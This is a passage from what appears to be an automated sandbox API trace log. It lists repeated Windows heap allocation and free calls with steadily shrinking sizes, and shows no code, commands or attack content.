out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x944) returned 0x2c7f2c8 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc28 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x940) returned 0x2c7fc18 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x93c) returned 0x2c7f2c8 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc18 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x938) returned 0x2c7fc18 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x934) returned 0x2c7f2c8 [0074.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc18 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x930) returned 0x2c7fc08 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x92c) returned 0x2c7f2c8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc08 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x928) returned 0x2c7fc08 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x924) returned 0x2c7f2c8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fc08 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x920) returned 0x2c7fbf8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x91c) returned 0x2c7f2c8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbf8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x918) returned 0x2c7fbf8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x914) returned 0x2c7f2c8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbf8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x910) returned 0x2c7fbe8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x908) returned 0x2c7f2c8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbe8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x904) returned 0x2c7fbd8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x900) returned 0x2c7f2c8 [0074.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbd8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8fc) returned 0x2c7fbd8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8f8) returned 0x2c7f2c8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbd8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8f4) returned 0x2c7fbc8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8f0) returned 0x2c7f2c8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbc8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8ec) returned 0x2c7fbc8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8e8) returned 0x2c7f2c8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbc8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8e4) returned 0x2c7fbb8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8e0) returned 0x2c7f2c8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbb8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8dc) returned 0x2c7fbb8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8d8) returned 0x2c7f2c8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fbb8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8d4) returned 0x2c7fba8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8d0) returned 0x2c7f2c8 [0074.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fba8 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8c8) returned 0x2c7fba8 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8c4) returned 0x2c7f2c8 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fba8 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8c0) returned 0x2c7fb98 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8bc) returned 0x2c7f2c8 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb98 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8b8) returned 0x2c7fb98 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8b4) returned 0x2c7f2c8 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb98 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8b0) returned 0x2c7fb88 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8ac) returned 0x2c7f2c8 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb88 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8a8) returned 0x2c7fb88 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8a4) returned 0x2c7f2c8 [0074.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb88 | out: hHeap=0x2ad0000) returned 1 [0074.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8a0) returned 0x2c7fb78 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x89c) returned 0x2c7f2c8 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb78 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x898) returned 0x2c7fb78 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x894) returned 0x2c7f2c8 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb78 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x890) returned 0x2c7fb68 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x888) returned 0x2c7f2c8 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb68 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x884) returned 0x2c7fb58 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x880) returned 0x2c7f2c8 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb58 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x87c) returned 0x2c7fb58 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x878) returned 0x2c7f2c8 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb58 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x874) returned 0x2c7fb48 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x870) returned 0x2c7f2c8 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb48 | out: hHeap=0x2ad0000) returned 1 [0074.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x86c) returned 0x2c7fb48 [0074.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x868) returned 0x2c7f2c8 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb48 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x864) returned 0x2c7fb38 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x860) returned 0x2c7f2c8 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb38 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x85c) returned 0x2c7fb38 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x858) returned 0x2c7f2c8 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb38 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x854) returned 0x2c7fb28 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x400) returned 0x2bc5220 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x850) returned 0x2c7f2c8 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb28 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x848) returned 0x2c7fb28 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x844) returned 0x2c7f2c8 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb28 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x840) returned 0x2c7fb18 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x83c) returned 0x2c7f2c8 [0074.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb18 | out: hHeap=0x2ad0000) returned 1 [0074.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x838) returned 0x2c7fb18 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x834) returned 0x2c7f2c8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb18 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x830) returned 0x2c7fb08 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x82c) returned 0x2c7f2c8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb08 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x828) returned 0x2c7fb08 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x824) returned 0x2c7f2c8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fb08 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x820) returned 0x2c7faf8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x81c) returned 0x2c7f2c8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7faf8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x818) returned 0x2c7faf8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x814) returned 0x2c7f2c8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7faf8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x810) returned 0x2c7fae8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x808) returned 0x2c7f2c8 [0074.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fae8 | out: hHeap=0x2ad0000) returned 1 [0074.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x804) returned 0x2c7fad8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x800) returned 0x2c7f2c8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fad8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7fc) returned 0x2c7fad8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7f8) returned 0x2c7f2c8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fad8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7f4) returned 0x2c7fac8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7f0) returned 0x2c7f2c8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fac8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7ec) returned 0x2c7fac8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7e8) returned 0x2c7f2c8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fac8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7e4) returned 0x2c7fab8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7e0) returned 0x2c7f2c8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fab8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7dc) returned 0x2c7fab8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7d8) returned 0x2c7f2c8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fab8 | out: hHeap=0x2ad0000) returned 1 [0074.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7d4) returned 0x2c7faa8 [0074.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7d0) returned 0x2c7f2c8 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7faa8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7c8) returned 0x2c7faa8 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7c4) returned 0x2c7f2c8 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7faa8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7c0) returned 0x2c7fa98 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7bc) returned 0x2c7f2c8 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa98 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7b8) returned 0x2c7fa98 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7b4) returned 0x2c7f2c8 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa98 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7b0) returned 0x2c7fa88 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7ac) returned 0x2c7f2c8 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa88 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7a8) returned 0x2c7fa88 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7a4) returned 0x2c7f2c8 [0074.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa88 | out: hHeap=0x2ad0000) returned 1 [0074.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7a0) returned 0x2c7fa78 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x79c) returned 0x2c7f2c8 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa78 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x798) returned 0x2c7fa78 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x794) returned 0x2c7f2c8 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa78 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x790) returned 0x2c7fa68 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x788) returned 0x2c7f2c8 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa68 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x784) returned 0x2c7fa58 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x780) returned 0x2c7f2c8 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa58 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x77c) returned 0x2c7fa58 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x778) returned 0x2c7f2c8 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa58 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x774) returned 0x2c7fa48 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x770) returned 0x2c7f2c8 [0074.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7fa48 | out: hHeap=0x2ad0000) returned 1 [0074.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x76c) returned 0x2c7fa48 [0074.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7f2c8 | out: hHeap=0x2ad0000) returned 1 